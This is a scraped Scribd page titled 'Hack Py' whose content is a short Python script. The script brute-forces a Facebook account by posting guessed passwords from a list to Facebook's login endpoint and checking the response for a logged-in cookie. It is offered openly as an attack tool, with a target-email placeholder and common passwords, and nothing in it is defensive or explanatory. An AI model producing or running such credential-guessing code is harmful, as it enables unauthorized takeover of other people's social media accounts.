Thanks to visit codestin.com
Credit goes to www.scribd.com

0% found this document useful (0 votes)
42 views1 page

Hack Py

Uploaded by

izelhamza2512
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
42 views1 page

Hack Py

Uploaded by

izelhamza2512
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

import requests

def brute_force_facebook(email, password_list):


login_url = "https://www.facebook.com/login.php"
headers = {
"User-Agent": "Mozilla/5.0"
}

for password in password_list:


response = requests.post(login_url, data={
"email": email,
"pass": password
}, headers=headers)

if "home_icon" in response.text or "c_user" in response.cookies:


print(f"[+] Password found: {password}")
return password
else:
print(f"[-] Password failed: {password}")

print("[!] Password not found in list")


return None

# Replace with the target email and a list of possible passwords


email = "[email protected]"
password_list = ["123456", "password", "letmein", "qwerty", "abc123"]

brute_force_facebook(email, password_list)

You might also like